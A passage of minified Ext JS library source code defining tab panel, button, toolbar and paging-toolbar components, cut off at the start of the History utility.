this.setActiveTab(0) } else { this.setActiveTab(null) } } } if (!this.destroying) { this.delegateUpdates() } }, onBeforeShowItem:function (a) { if (a != this.activeTab) { this.setActiveTab(a); return false } }, onItemDisabled:function (b) { var a = this.getTabEl(b); if (a) { Ext.fly(a).addClass("x-item-disabled") } this.stack.remove(b) }, onItemEnabled:function (b) { var a = this.getTabEl(b); if (a) { Ext.fly(a).removeClass("x-item-disabled") } }, onItemTitleChanged:function (b) { var a = this.getTabEl(b); if (a) { Ext.fly(a).child("span.x-tab-strip-text", true).innerHTML = b.title } }, onItemIconChanged:function (d, a, c) { var b = this.getTabEl(d); if (b) { b = Ext.get(b); b.child("span.x-tab-strip-text").replaceClass(c, a); b[Ext.isEmpty(a) ? "removeClass" : "addClass"]("x-tab-with-icon") } }, getTabEl:function (a) { var b = this.getComponent(a); return b ? b.tabEl : null }, onResize:function () { Ext.TabPanel.superclass.onResize.apply(this, arguments); this.delegateUpdates() }, beginUpdate:function () { this.suspendUpdates = true }, endUpdate:function () { this.suspendUpdates = false; this.delegateUpdates() }, hideTabStripItem:function (b) { b = this.getComponent(b); var a = this.getTabEl(b); if (a) { a.style.display = "none"; this.delegateUpdates() } this.stack.remove(b) }, unhideTabStripItem:function (b) { b = this.getComponent(b); var a = this.getTabEl(b); if (a) { a.style.display = ""; this.delegateUpdates() } }, delegateUpdates:function () { var a = this.rendered; if (this.suspendUpdates) { return } if (this.resizeTabs && a) { this.autoSizeTabs() } if (this.enableTabScroll && a) { this.autoScrollTabs() } }, autoSizeTabs:function () { var h = this.items.length, b = this.tabPosition != "bottom" ? "header" : "footer", c = this[b].dom.offsetWidth, a = this[b].dom.clientWidth; if (!this.resizeTabs || h < 1 || !a) { return } var k = Math.max(Math.min(Math.floor((a - 4) / h) - this.tabMargin, this.tabWidth), this.minTabWidth); this.lastTabWidth = k; var m = this.strip.query("li:not(.x-tab-edge)"); for (var e = 0, j = m.length; e < j; e++) { var l = m[e], n = Ext.fly(l).child(".x-tab-strip-inner", true), g = l.offsetWidth, d = n.offsetWidth; n.style.width = (k - (g - d)) + "px" } }, adjustBodyWidth:function (a) { if (this.header) { this.header.setWidth(a) } if (this.footer) { this.footer.setWidth(a) } return a }, setActiveTab:function (c) { c = this.getComponent(c); if (this.fireEvent("beforetabchange", this, c, this.activeTab) === false) { return } if (!this.rendered) { this.activeTab = c; return } if (this.activeTab != c) { if (this.activeTab) { var a = this.getTabEl(this.activeTab); if (a) { Ext.fly(a).removeClass("x-tab-strip-active") } } this.activeTab = c; if (c) { var b = this.getTabEl(c); Ext.fly(b).addClass("x-tab-strip-active"); this.stack.add(c); this.layout.setActiveItem(c); this.delegateUpdates(); if (this.scrolling) { this.scrollToTab(c, this.animScroll) } } this.fireEvent("tabchange", this, c) } }, getActiveTab:function () { return this.activeTab || null }, getItem:function (a) { return this.getComponent(a) }, autoScrollTabs:function () { this.pos = this.tabPosition == "bottom" ? this.footer : this.header; var h = this.items.length, d = this.pos.dom.offsetWidth, c = this.pos.dom.clientWidth, g = this.stripWrap, e = g.dom, b = e.offsetWidth, i = this.getScrollPos(), a = this.edge.getOffsetsTo(this.stripWrap)[0] + i; if (!this.enableTabScroll || b < 20) { return } if (h == 0 || a <= c) { e.scrollLeft = 0; g.setWidth(c); if (this.scrolling) { this.scrolling = false; this.pos.removeClass("x-tab-scrolling"); this.scrollLeft.hide(); this.scrollRight.hide(); if (Ext.isAir || Ext.isWebKit) { e.style.marginLeft = ""; e.style.marginRight = "" } } } else { if (!this.scrolling) { this.pos.addClass("x-tab-scrolling"); if (Ext.isAir || Ext.isWebKit) { e.style.marginLeft = "18px"; e.style.marginRight = "18px" } } c -= g.getMargins("lr"); g.setWidth(c > 20 ? c : 20); if (!this.scrolling) { if (!this.scrollLeft) { this.createScrollers() } else { this.scrollLeft.show(); this.scrollRight.show() } } this.scrolling = true; if (i > (a - c)) { e.scrollLeft = a - c } else { this.scrollToTab(this.activeTab, false) } this.updateScrollButtons() } }, createScrollers:function () { this.pos.addClass("x-tab-scrolling-" + this.tabPosition); var c = this.stripWrap.dom.offsetHeight; var a = this.pos.insertFirst({cls:"x-tab-scroller-left"}); a.setHeight(c); a.addClassOnOver("x-tab-scroller-left-over"); this.leftRepeater = new Ext.util.ClickRepeater(a, {interval:this.scrollRepeatInterval, handler:this.onScrollLeft, scope:this}); this.scrollLeft = a; var b = this.pos.insertFirst({cls:"x-tab-scroller-right"}); b.setHeight(c); b.addClassOnOver("x-tab-scroller-right-over"); this.rightRepeater = new Ext.util.ClickRepeater(b, {interval:this.scrollRepeatInterval, handler:this.onScrollRight, scope:this}); this.scrollRight = b }, getScrollWidth:function () { return this.edge.getOffsetsTo(this.stripWrap)[0] + this.getScrollPos() }, getScrollPos:function () { return parseInt(this.stripWrap.dom.scrollLeft, 10) || 0 }, getScrollArea:function () { return parseInt(this.stripWrap.dom.clientWidth, 10) || 0 }, getScrollAnim:function () { return{duration:this.scrollDuration, callback:this.updateScrollButtons, scope:this} }, getScrollIncrement:function () { return this.scrollIncrement || (this.resizeTabs ? this.lastTabWidth + 2 : 100) }, scrollToTab:function (e, a) { if (!e) { return } var c = this.getTabEl(e), h = this.getScrollPos(), d = this.getScrollArea(), g = Ext.fly(c).getOffsetsTo(this.stripWrap)[0] + h, b = g + c.offsetWidth; if (g < h) { this.scrollTo(g, a) } else { if (b > (h + d)) { this.scrollTo(b - d, a) } } }, scrollTo:function (b, a) { this.stripWrap.scrollTo("left", b, a ? this.getScrollAnim() : false); if (!a) { this.updateScrollButtons() } }, onWheel:function (g) { var h = g.getWheelDelta() * this.wheelIncrement * -1; g.stopEvent(); var i = this.getScrollPos(), c = i + h, a = this.getScrollWidth() - this.getScrollArea(); var b = Math.max(0, Math.min(a, c)); if (b != i) { this.scrollTo(b, false) } }, onScrollRight:function () { var a = this.getScrollWidth() - this.getScrollArea(), c = this.getScrollPos(), b = Math.min(a, c + this.getScrollIncrement()); if (b != c) { this.scrollTo(b, this.animScroll) } }, onScrollLeft:function () { var b = this.getScrollPos(), a = Math.max(0, b - this.getScrollIncrement()); if (a != b) { this.scrollTo(a, this.animScroll) } }, updateScrollButtons:function () { var a = this.getScrollPos(); this.scrollLeft[a === 0 ? "addClass" : "removeClass"]("x-tab-scroller-left-disabled"); this.scrollRight[a >= (this.getScrollWidth() - this.getScrollArea()) ? "addClass" : "removeClass"]("x-tab-scroller-right-disabled") }, beforeDestroy:function () { Ext.destroy(this.leftRepeater, this.rightRepeater); this.deleteMembers("strip", "edge", "scrollLeft", "scrollRight", "stripWrap"); this.activeTab = null; Ext.TabPanel.superclass.beforeDestroy.apply(this) }}); Ext.reg("tabpanel", Ext.TabPanel); Ext.TabPanel.prototype.activate = Ext.TabPanel.prototype.setActiveTab; Ext.TabPanel.AccessStack = function () { var a = []; return{add:function (b) { a.push(b); if (a.length > 10) { a.shift() } }, remove:function (e) { var d = []; for (var c = 0, b = a.length; c < b; c++) { if (a[c] != e) { d.push(a[c]) } } a = d }, next:function () { return a.pop() }} }; Ext.Button = Ext.extend(Ext.BoxComponent, {hidden:false, disabled:false, pressed:false, enableToggle:false, menuAlign:"tl-bl?", type:"button", menuClassTarget:"tr:nth(2)", clickEvent:"click", handleMouseEvents:true, tooltipType:"qtip", buttonSelector:"button:first-child", scale:"small", iconAlign:"left", arrowAlign:"right", initComponent:function () { if (this.menu) { if (Ext.isArray(this.menu)) { this.menu = {items:this.menu} } if (Ext.isObject(this.menu)) { this.menu.ownerCt = this } this.menu = Ext.menu.MenuMgr.get(this.menu); this.menu.ownerCt = undefined } Ext.Button.superclass.initComponent.call(this); this.addEvents("click", "toggle", "mouseover", "mouseout", "menushow", "menuhide", "menutriggerover", "menutriggerout"); if (Ext.isString(this.toggleGroup)) { this.enableToggle = true } }, getTemplateArgs:function () { return[this.type, "x-btn-" + this.scale + " x-btn-icon-" + this.scale + "-" + this.iconAlign, this.getMenuClass(), this.cls, this.id] }, setButtonClass:function () { if (this.useSetClass) { if (!Ext.isEmpty(this.oldCls)) { this.el.removeClass([this.oldCls, "x-btn-pressed"]) } this.oldCls = (this.iconCls || this.icon) ? (this.text ? "x-btn-text-icon" : "x-btn-icon") : "x-btn-noicon"; this.el.addClass([this.oldCls, this.pressed ? "x-btn-pressed" : null]) } }, getMenuClass:function () { return this.menu ? (this.arrowAlign != "bottom" ? "x-btn-arrow" : "x-btn-arrow-bottom") : "" }, onRender:function (c, a) { if (!this.template) { if (!Ext.Button.buttonTemplate) { Ext.Button.buttonTemplate = new Ext.Template('', '', '', '', "
      
      
      
    "); Ext.Button.buttonTemplate.compile() } this.template = Ext.Button.buttonTemplate } var b, d = this.getTemplateArgs(); if (a) { b = this.template.insertBefore(a, d, true) } else { b = this.template.append(c, d, true) } this.btnEl = b.child(this.buttonSelector); this.mon(this.btnEl, {scope:this, focus:this.onFocus, blur:this.onBlur}); this.initButtonEl(b, this.btnEl); Ext.ButtonToggleMgr.register(this) }, initButtonEl:function (b, c) { this.el = b; this.setIcon(this.icon); this.setText(this.text); this.setIconClass(this.iconCls); if (Ext.isDefined(this.tabIndex)) { c.dom.tabIndex = this.tabIndex } if (this.tooltip) { this.setTooltip(this.tooltip, true) } if (this.handleMouseEvents) { this.mon(b, {scope:this, mouseover:this.onMouseOver, mousedown:this.onMouseDown}) } if (this.menu) { this.mon(this.menu, {scope:this, show:this.onMenuShow, hide:this.onMenuHide}) } if (this.repeat) { var a = new Ext.util.ClickRepeater(b, Ext.isObject(this.repeat) ? this.repeat : {}); this.mon(a, "click", this.onRepeatClick, this) } else { this.mon(b, this.clickEvent, this.onClick, this) } }, afterRender:function () { Ext.Button.superclass.afterRender.call(this); this.useSetClass = true; this.setButtonClass(); this.doc = Ext.getDoc(); this.doAutoWidth() }, setIconClass:function (a) { this.iconCls = a; if (this.el) { this.btnEl.dom.className = ""; this.btnEl.addClass(["x-btn-text", a || ""]); this.setButtonClass() } return this }, setTooltip:function (b, a) { if (this.rendered) { if (!a) { this.clearTip() } if (Ext.isObject(b)) { Ext.QuickTips.register(Ext.apply({target:this.btnEl.id}, b)); this.tooltip = b } else { this.btnEl.dom[this.tooltipType] = b } } else { this.tooltip = b } return this }, clearTip:function () { if (Ext.isObject(this.tooltip)) { Ext.QuickTips.unregister(this.btnEl) } }, beforeDestroy:function () { if (this.rendered) { this.clearTip() } if (this.menu && this.destroyMenu !== false) { Ext.destroy(this.btnEl, this.menu) } Ext.destroy(this.repeater) }, onDestroy:function () { if (this.rendered) { this.doc.un("mouseover", this.monitorMouseOver, this); this.doc.un("mouseup", this.onMouseUp, this); delete this.doc; delete this.btnEl; Ext.ButtonToggleMgr.unregister(this) } Ext.Button.superclass.onDestroy.call(this) }, doAutoWidth:function () { if (this.autoWidth !== false && this.el && this.text && this.width === undefined) { this.el.setWidth("auto"); if (Ext.isIE7 && Ext.isStrict) { var a = this.btnEl; if (a && a.getWidth() > 20) { a.clip(); a.setWidth(Ext.util.TextMetrics.measure(a, this.text).width + a.getFrameWidth("lr")) } } if (this.minWidth) { if (this.el.getWidth() < this.minWidth) { this.el.setWidth(this.minWidth) } } } }, setHandler:function (b, a) { this.handler = b; this.scope = a; return this }, setText:function (a) { this.text = a; if (this.el) { this.btnEl.update(a || " "); this.setButtonClass() } this.doAutoWidth(); return this }, setIcon:function (a) { this.icon = a; if (this.el) { this.btnEl.setStyle("background-image", a ? "url(" + a + ")" : ""); this.setButtonClass() } return this }, getText:function () { return this.text }, toggle:function (b, a) { b = b === undefined ? !this.pressed : !!b; if (b != this.pressed) { if (this.rendered) { this.el[b ? "addClass" : "removeClass"]("x-btn-pressed") } this.pressed = b; if (!a) { this.fireEvent("toggle", this, b); if (this.toggleHandler) { this.toggleHandler.call(this.scope || this, this, b) } } } return this }, onDisable:function () { this.onDisableChange(true) }, onEnable:function () { this.onDisableChange(false) }, onDisableChange:function (a) { if (this.el) { if (!Ext.isIE6 || !this.text) { this.el[a ? "addClass" : "removeClass"](this.disabledClass) } this.el.dom.disabled = a } this.disabled = a }, showMenu:function () { if (this.rendered && this.menu) { if (this.tooltip) { Ext.QuickTips.getQuickTip().cancelShow(this.btnEl) } if (this.menu.isVisible()) { this.menu.hide() } this.menu.ownerCt = this; this.menu.show(this.el, this.menuAlign) } return this }, hideMenu:function () { if (this.hasVisibleMenu()) { this.menu.hide() } return this }, hasVisibleMenu:function () { return this.menu && this.menu.ownerCt == this && this.menu.isVisible() }, onRepeatClick:function (a, b) { this.onClick(b) }, onClick:function (a) { if (a) { a.preventDefault() } if (a.button !== 0) { return } if (!this.disabled) { this.doToggle(); if (this.menu && !this.hasVisibleMenu() && !this.ignoreNextClick) { this.showMenu() } this.fireEvent("click", this, a); if (this.handler) { this.handler.call(this.scope || this, this, a) } } }, doToggle:function () { if (this.enableToggle && (this.allowDepress !== false || !this.pressed)) { this.toggle() } }, isMenuTriggerOver:function (b, a) { return this.menu && !a }, isMenuTriggerOut:function (b, a) { return this.menu && !a }, onMouseOver:function (b) { if (!this.disabled) { var a = b.within(this.el, true); if (!a) { this.el.addClass("x-btn-over"); if (!this.monitoringMouseOver) { this.doc.on("mouseover", this.monitorMouseOver, this); this.monitoringMouseOver = true } this.fireEvent("mouseover", this, b) } if (this.isMenuTriggerOver(b, a)) { this.fireEvent("menutriggerover", this, this.menu, b) } } }, monitorMouseOver:function (a) { if (a.target != this.el.dom && !a.within(this.el)) { if (this.monitoringMouseOver) { this.doc.un("mouseover", this.monitorMouseOver, this); this.monitoringMouseOver = false } this.onMouseOut(a) } }, onMouseOut:function (b) { var a = b.within(this.el) && b.target != this.el.dom; this.el.removeClass("x-btn-over"); this.fireEvent("mouseout", this, b); if (this.isMenuTriggerOut(b, a)) { this.fireEvent("menutriggerout", this, this.menu, b) } }, focus:function () { this.btnEl.focus() }, blur:function () { this.btnEl.blur() }, onFocus:function (a) { if (!this.disabled) { this.el.addClass("x-btn-focus") } }, onBlur:function (a) { this.el.removeClass("x-btn-focus") }, getClickEl:function (b, a) { return this.el }, onMouseDown:function (a) { if (!this.disabled && a.button === 0) { this.getClickEl(a).addClass("x-btn-click"); this.doc.on("mouseup", this.onMouseUp, this) } }, onMouseUp:function (a) { if (a.button === 0) { this.getClickEl(a, true).removeClass("x-btn-click"); this.doc.un("mouseup", this.onMouseUp, this) } }, onMenuShow:function (a) { if (this.menu.ownerCt == this) { this.menu.ownerCt = this; this.ignoreNextClick = 0; this.el.addClass("x-btn-menu-active"); this.fireEvent("menushow", this, this.menu) } }, onMenuHide:function (a) { if (this.menu.ownerCt == this) { this.el.removeClass("x-btn-menu-active"); this.ignoreNextClick = this.restoreClick.defer(250, this); this.fireEvent("menuhide", this, this.menu); delete this.menu.ownerCt } }, restoreClick:function () { this.ignoreNextClick = 0 }}); Ext.reg("button", Ext.Button); Ext.ButtonToggleMgr = function () { var a = {}; function b(e, j) { if (j) { var h = a[e.toggleGroup]; for (var d = 0, c = h.length; d < c; d++) { if (h[d] != e) { h[d].toggle(false) } } } } return{register:function (c) { if (!c.toggleGroup) { return } var d = a[c.toggleGroup]; if (!d) { d = a[c.toggleGroup] = [] } d.push(c); c.on("toggle", b) }, unregister:function (c) { if (!c.toggleGroup) { return } var d = a[c.toggleGroup]; if (d) { d.remove(c); c.un("toggle", b) } }, getPressed:function (h) { var e = a[h]; if (e) { for (var d = 0, c = e.length; d < c; d++) { if (e[d].pressed === true) { return e[d] } } } return null }} }(); Ext.SplitButton = Ext.extend(Ext.Button, {arrowSelector:"em", split:true, initComponent:function () { Ext.SplitButton.superclass.initComponent.call(this); this.addEvents("arrowclick") }, onRender:function () { Ext.SplitButton.superclass.onRender.apply(this, arguments); if (this.arrowTooltip) { this.el.child(this.arrowSelector).dom[this.tooltipType] = this.arrowTooltip } }, setArrowHandler:function (b, a) { this.arrowHandler = b; this.scope = a }, getMenuClass:function () { return"x-btn-split" + (this.arrowAlign == "bottom" ? "-bottom" : "") }, isClickOnArrow:function (c) { if (this.arrowAlign != "bottom") { var b = this.el.child("em.x-btn-split"); var a = b.getRegion().right - b.getPadding("r"); return c.getPageX() > a } else { return c.getPageY() > this.btnEl.getRegion().bottom } }, onClick:function (b, a) { b.preventDefault(); if (!this.disabled) { if (this.isClickOnArrow(b)) { if (this.menu && !this.menu.isVisible() && !this.ignoreNextClick) { this.showMenu() } this.fireEvent("arrowclick", this, b); if (this.arrowHandler) { this.arrowHandler.call(this.scope || this, this, b) } } else { this.doToggle(); this.fireEvent("click", this, b); if (this.handler) { this.handler.call(this.scope || this, this, b) } } } }, isMenuTriggerOver:function (a) { return this.menu && a.target.tagName == this.arrowSelector }, isMenuTriggerOut:function (b, a) { return this.menu && b.target.tagName != this.arrowSelector }}); Ext.reg("splitbutton", Ext.SplitButton); Ext.CycleButton = Ext.extend(Ext.SplitButton, {getItemText:function (a) { if (a && this.showText === true) { var b = ""; if (this.prependText) { b += this.prependText } b += a.text; return b } return undefined }, setActiveItem:function (c, a) { if (!Ext.isObject(c)) { c = this.menu.getComponent(c) } if (c) { if (!this.rendered) { this.text = this.getItemText(c); this.iconCls = c.iconCls } else { var b = this.getItemText(c); if (b) { this.setText(b) } this.setIconClass(c.iconCls) } this.activeItem = c; if (!c.checked) { c.setChecked(true, a) } if (this.forceIcon) { this.setIconClass(this.forceIcon) } if (!a) { this.fireEvent("change", this, c) } } }, getActiveItem:function () { return this.activeItem }, initComponent:function () { this.addEvents("change"); if (this.changeHandler) { this.on("change", this.changeHandler, this.scope || this); delete this.changeHandler } this.itemCount = this.items.length; this.menu = {cls:"x-cycle-menu", items:[]}; var a = 0; Ext.each(this.items, function (c, b) { Ext.apply(c, {group:c.group || this.id, itemIndex:b, checkHandler:this.checkHandler, scope:this, checked:c.checked || false}); this.menu.items.push(c); if (c.checked) { a = b } }, this); Ext.CycleButton.superclass.initComponent.call(this); this.on("click", this.toggleSelected, this); this.setActiveItem(a, true) }, checkHandler:function (a, b) { if (b) { this.setActiveItem(a) } }, toggleSelected:function () { var a = this.menu; a.render(); if (!a.hasLayout) { a.doLayout() } var d, b; for (var c = 1; c < this.itemCount; c++) { d = (this.activeItem.itemIndex + c) % this.itemCount; b = a.items.itemAt(d); if (!b.disabled) { b.setChecked(true); break } } }}); Ext.reg("cycle", Ext.CycleButton); Ext.Toolbar = function (a) { if (Ext.isArray(a)) { a = {items:a, layout:"toolbar"} } else { a = Ext.apply({layout:"toolbar"}, a); if (a.buttons) { a.items = a.buttons } } Ext.Toolbar.superclass.constructor.call(this, a) }; (function () { var a = Ext.Toolbar; Ext.extend(a, Ext.Container, {defaultType:"button", enableOverflow:false, trackMenus:true, internalDefaults:{removeMode:"container", hideParent:true}, toolbarCls:"x-toolbar", initComponent:function () { a.superclass.initComponent.call(this); this.addEvents("overflowchange") }, onRender:function (c, b) { if (!this.el) { if (!this.autoCreate) { this.autoCreate = {cls:this.toolbarCls + " x-small-editor"} } this.el = c.createChild(Ext.apply({id:this.id}, this.autoCreate), b); Ext.Toolbar.superclass.onRender.apply(this, arguments) } }, lookupComponent:function (b) { if (Ext.isString(b)) { if (b == "-") { b = new a.Separator() } else { if (b == " ") { b = new a.Spacer() } else { if (b == "->") { b = new a.Fill() } else { b = new a.TextItem(b) } } } this.applyDefaults(b) } else { if (b.isFormField || b.render) { b = this.createComponent(b) } else { if (b.tag) { b = new a.Item({autoEl:b}) } else { if (b.tagName) { b = new a.Item({el:b}) } else { if (Ext.isObject(b)) { b = b.xtype ? this.createComponent(b) : this.constructButton(b) } } } } } return b }, applyDefaults:function (e) { if (!Ext.isString(e)) { e = Ext.Toolbar.superclass.applyDefaults.call(this, e); var b = this.internalDefaults; if (e.events) { Ext.applyIf(e.initialConfig, b); Ext.apply(e, b) } else { Ext.applyIf(e, b) } } return e }, addSeparator:function () { return this.add(new a.Separator()) }, addSpacer:function () { return this.add(new a.Spacer()) }, addFill:function () { this.add(new a.Fill()) }, addElement:function (b) { return this.addItem(new a.Item({el:b})) }, addItem:function (b) { return this.add.apply(this, arguments) }, addButton:function (c) { if (Ext.isArray(c)) { var e = []; for (var d = 0, b = c.length; d < b; d++) { e.push(this.addButton(c[d])) } return e } return this.add(this.constructButton(c)) }, addText:function (b) { return this.addItem(new a.TextItem(b)) }, addDom:function (b) { return this.add(new a.Item({autoEl:b})) }, addField:function (b) { return this.add(b) }, insertButton:function (c, g) { if (Ext.isArray(g)) { var e = []; for (var d = 0, b = g.length; d < b; d++) { e.push(this.insertButton(c + d, g[d])) } return e } return Ext.Toolbar.superclass.insert.call(this, c, g) }, trackMenu:function (c, b) { if (this.trackMenus && c.menu) { var d = b ? "mun" : "mon"; this[d](c, "menutriggerover", this.onButtonTriggerOver, this); this[d](c, "menushow", this.onButtonMenuShow, this); this[d](c, "menuhide", this.onButtonMenuHide, this) } }, constructButton:function (d) { var c = d.events ? d : this.createComponent(d, d.split ? "splitbutton" : this.defaultType); return c }, onAdd:function (b) { Ext.Toolbar.superclass.onAdd.call(this); this.trackMenu(b); if (this.disabled) { b.disable() } }, onRemove:function (b) { Ext.Toolbar.superclass.onRemove.call(this); if (b == this.activeMenuBtn) { delete this.activeMenuBtn } this.trackMenu(b, true) }, onDisable:function () { this.items.each(function (b) { if (b.disable) { b.disable() } }) }, onEnable:function () { this.items.each(function (b) { if (b.enable) { b.enable() } }) }, onButtonTriggerOver:function (b) { if (this.activeMenuBtn && this.activeMenuBtn != b) { this.activeMenuBtn.hideMenu(); b.showMenu(); this.activeMenuBtn = b } }, onButtonMenuShow:function (b) { this.activeMenuBtn = b }, onButtonMenuHide:function (b) { delete this.activeMenuBtn }}); Ext.reg("toolbar", Ext.Toolbar); a.Item = Ext.extend(Ext.BoxComponent, {hideParent:true, enable:Ext.emptyFn, disable:Ext.emptyFn, focus:Ext.emptyFn}); Ext.reg("tbitem", a.Item); a.Separator = Ext.extend(a.Item, {onRender:function (c, b) { this.el = c.createChild({tag:"span", cls:"xtb-sep"}, b) }}); Ext.reg("tbseparator", a.Separator); a.Spacer = Ext.extend(a.Item, {onRender:function (c, b) { this.el = c.createChild({tag:"div", cls:"xtb-spacer", style:this.width ? "width:" + this.width + "px" : ""}, b) }}); Ext.reg("tbspacer", a.Spacer); a.Fill = Ext.extend(a.Item, {render:Ext.emptyFn, isFill:true}); Ext.reg("tbfill", a.Fill); a.TextItem = Ext.extend(a.Item, {constructor:function (b) { a.TextItem.superclass.constructor.call(this, Ext.isString(b) ? {text:b} : b) }, onRender:function (c, b) { this.autoEl = {cls:"xtb-text", html:this.text || ""}; a.TextItem.superclass.onRender.call(this, c, b) }, setText:function (b) { if (this.rendered) { this.el.update(b) } else { this.text = b } }}); Ext.reg("tbtext", a.TextItem); a.Button = Ext.extend(Ext.Button, {}); a.SplitButton = Ext.extend(Ext.SplitButton, {}); Ext.reg("tbbutton", a.Button); Ext.reg("tbsplit", a.SplitButton) })(); Ext.ButtonGroup = Ext.extend(Ext.Panel, {baseCls:"x-btn-group", layout:"table", defaultType:"button", frame:true, internalDefaults:{removeMode:"container", hideParent:true}, initComponent:function () { this.layoutConfig = this.layoutConfig || {}; Ext.applyIf(this.layoutConfig, {columns:this.columns}); if (!this.title) { this.addClass("x-btn-group-notitle") } this.on("afterlayout", this.onAfterLayout, this); Ext.ButtonGroup.superclass.initComponent.call(this) }, applyDefaults:function (b) { b = Ext.ButtonGroup.superclass.applyDefaults.call(this, b); var a = this.internalDefaults; if (b.events) { Ext.applyIf(b.initialConfig, a); Ext.apply(b, a) } else { Ext.applyIf(b, a) } return b }, onAfterLayout:function () { var a = this.body.getFrameWidth("lr") + this.body.dom.firstChild.offsetWidth; this.body.setWidth(a); this.el.setWidth(a + this.getFrameWidth()) }}); Ext.reg("buttongroup", Ext.ButtonGroup); (function () { var a = Ext.Toolbar; Ext.PagingToolbar = Ext.extend(Ext.Toolbar, {pageSize:20, displayMsg:"Displaying {0} - {1} of {2}", emptyMsg:"No data to display", beforePageText:"Page", afterPageText:"of {0}", firstText:"First Page", prevText:"Previous Page", nextText:"Next Page", lastText:"Last Page", refreshText:"Refresh", initComponent:function () { var c = [this.first = new a.Button({tooltip:this.firstText, overflowText:this.firstText, iconCls:"x-tbar-page-first", disabled:true, handler:this.moveFirst, scope:this}), this.prev = new a.Button({tooltip:this.prevText, overflowText:this.prevText, iconCls:"x-tbar-page-prev", disabled:true, handler:this.movePrevious, scope:this}), "-", this.beforePageText, this.inputItem = new Ext.form.NumberField({cls:"x-tbar-page-number", allowDecimals:false, allowNegative:false, enableKeyEvents:true, selectOnFocus:true, submitValue:false, listeners:{scope:this, keydown:this.onPagingKeyDown, blur:this.onPagingBlur}}), this.afterTextItem = new a.TextItem({text:String.format(this.afterPageText, 1)}), "-", this.next = new a.Button({tooltip:this.nextText, overflowText:this.nextText, iconCls:"x-tbar-page-next", disabled:true, handler:this.moveNext, scope:this}), this.last = new a.Button({tooltip:this.lastText, overflowText:this.lastText, iconCls:"x-tbar-page-last", disabled:true, handler:this.moveLast, scope:this}), "-", this.refresh = new a.Button({tooltip:this.refreshText, overflowText:this.refreshText, iconCls:"x-tbar-loading", handler:this.doRefresh, scope:this})]; var b = this.items || this.buttons || []; if (this.prependButtons) { this.items = b.concat(c) } else { this.items = c.concat(b) } delete this.buttons; if (this.displayInfo) { this.items.push("->"); this.items.push(this.displayItem = new a.TextItem({})) } Ext.PagingToolbar.superclass.initComponent.call(this); this.addEvents("change", "beforechange"); this.on("afterlayout", this.onFirstLayout, this, {single:true}); this.cursor = 0; this.bindStore(this.store, true) }, onFirstLayout:function () { if (this.dsLoaded) { this.onLoad.apply(this, this.dsLoaded) } }, updateInfo:function () { if (this.displayItem) { var b = this.store.getCount(); var c = b == 0 ? this.emptyMsg : String.format(this.displayMsg, this.cursor + 1, this.cursor + b, this.store.getTotalCount()); this.displayItem.setText(c) } }, onLoad:function (b, e, j) { if (!this.rendered) { this.dsLoaded = [b, e, j]; return } var g = this.getParams(); this.cursor = (j.params && j.params[g.start]) ? j.params[g.start] : 0; var i = this.getPageData(), c = i.activePage, h = i.pages; this.afterTextItem.setText(String.format(this.afterPageText, i.pages)); this.inputItem.setValue(c); this.first.setDisabled(c == 1); this.prev.setDisabled(c == 1); this.next.setDisabled(c == h); this.last.setDisabled(c == h); this.refresh.enable(); this.updateInfo(); this.fireEvent("change", this, i) }, getPageData:function () { var b = this.store.getTotalCount(); return{total:b, activePage:Math.ceil((this.cursor + this.pageSize) / this.pageSize), pages:b < this.pageSize ? 1 : Math.ceil(b / this.pageSize)} }, changePage:function (b) { this.doLoad(((b - 1) * this.pageSize).constrain(0, this.store.getTotalCount())) }, onLoadError:function () { if (!this.rendered) { return } this.refresh.enable() }, readPage:function (e) { var b = this.inputItem.getValue(), c; if (!b || isNaN(c = parseInt(b, 10))) { this.inputItem.setValue(e.activePage); return false } return c }, onPagingFocus:function () { this.inputItem.select() }, onPagingBlur:function (b) { this.inputItem.setValue(this.getPageData().activePage) }, onPagingKeyDown:function (i, h) { var c = h.getKey(), j = this.getPageData(), g; if (c == h.RETURN) { h.stopEvent(); g = this.readPage(j); if (g !== false) { g = Math.min(Math.max(1, g), j.pages) - 1; this.doLoad(g * this.pageSize) } } else { if (c == h.HOME || c == h.END) { h.stopEvent(); g = c == h.HOME ? 1 : j.pages; i.setValue(g) } else { if (c == h.UP || c == h.PAGEUP || c == h.DOWN || c == h.PAGEDOWN) { h.stopEvent(); if ((g = this.readPage(j))) { var b = h.shiftKey ? 10 : 1; if (c == h.DOWN || c == h.PAGEDOWN) { b *= -1 } g += b; if (g >= 1 & g <= j.pages) { i.setValue(g) } } } } } }, getParams:function () { return this.paramNames || this.store.paramNames }, beforeLoad:function () { if (this.rendered && this.refresh) { this.refresh.disable() } }, doLoad:function (d) { var c = {}, b = this.getParams(); c[b.start] = d; c[b.limit] = this.pageSize; if (this.fireEvent("beforechange", this, c) !== false) { this.store.load({params:c}) } }, moveFirst:function () { this.doLoad(0) }, movePrevious:function () { this.doLoad(Math.max(0, this.cursor - this.pageSize)) }, moveNext:function () { this.doLoad(this.cursor + this.pageSize) }, moveLast:function () { var c = this.store.getTotalCount(), b = c % this.pageSize; this.doLoad(b ? (c - b) : c - this.pageSize) }, doRefresh:function () { this.doLoad(this.cursor) }, bindStore:function (c, d) { var b; if (!d && this.store) { if (c !== this.store && this.store.autoDestroy) { this.store.destroy() } else { this.store.un("beforeload", this.beforeLoad, this); this.store.un("load", this.onLoad, this); this.store.un("exception", this.onLoadError, this) } if (!c) { this.store = null } } if (c) { c = Ext.StoreMgr.lookup(c); c.on({scope:this, beforeload:this.beforeLoad, load:this.onLoad, exception:this.onLoadError}); b = true } this.store = c; if (b) { this.onLoad(c, null, {}) } }, unbind:function (b) { this.bindStore(null) }, bind:function (b) { this.bindStore(b) }, onDestroy:function () { this.bindStore(null); Ext.PagingToolbar.superclass.onDestroy.call(this) }}) })(); Ext.reg("paging", Ext.PagingToolbar); Ext.History = (function () { var e, c; var k = false; var d; function g() { var l = location.href, m = l.indexOf("#"), n = m >= 0 ? l.substr(m + 1) : null; if (Ext.isGecko) { n = decodeURIComponent(n) } return n } function a() { c.value = d } function h(l) { d = l; Ext.History.fireEvent("change", l) } function i(m) { var l = ['
    ', Ext.util.Format.htmlEncode(m), "
